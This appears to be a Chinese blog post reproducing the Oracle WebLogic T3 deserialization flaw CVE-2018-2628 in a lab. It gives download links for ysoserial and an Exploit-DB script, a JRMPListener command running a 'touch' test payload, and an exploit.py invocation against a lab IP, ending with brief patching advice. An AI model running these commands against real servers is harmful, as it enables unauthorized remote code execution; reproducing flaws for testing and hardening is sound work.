WebLogic (CVE-2018-2628)

漏洞叙述

Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令。

影响版本

10.3.6.0,12.1.3.0,12.2.1.2, 12.2.1.3

漏洞复现

ysoserial-cve-2018-2628,下载链接https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar

expolit.py脚本,下载链接https://www.exploit-db.com/exploits/44553

使用ysoserial工具启动一个JRMP Server:

wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 'touch /tmp/666.txt'
#'touch /tmp/666.txt'为我想执行的命令,9999是JRMP Server监听的端口。

接下来使用exploit.py脚本,向服务器发送数据包:

python exploit.py 192.168.6.130 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.6.130 9999 JRMPClient
#192.168.6.130 7001是weblogic靶机的IP和端口
#ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 是ysoserial的本地路径根据自己真实路径填写
#192.168.6.130 9999是攻击机的IP地址和端口
#JRMPClient是执行JRMPClient的类

查看是否成功写入

漏洞加固

  • 关闭T3服务,或控制T3服务的访问权限(临时)。
  • 打官方补丁。
原文地址:https://www.cnblogs.com/tac2664/p/14509719.html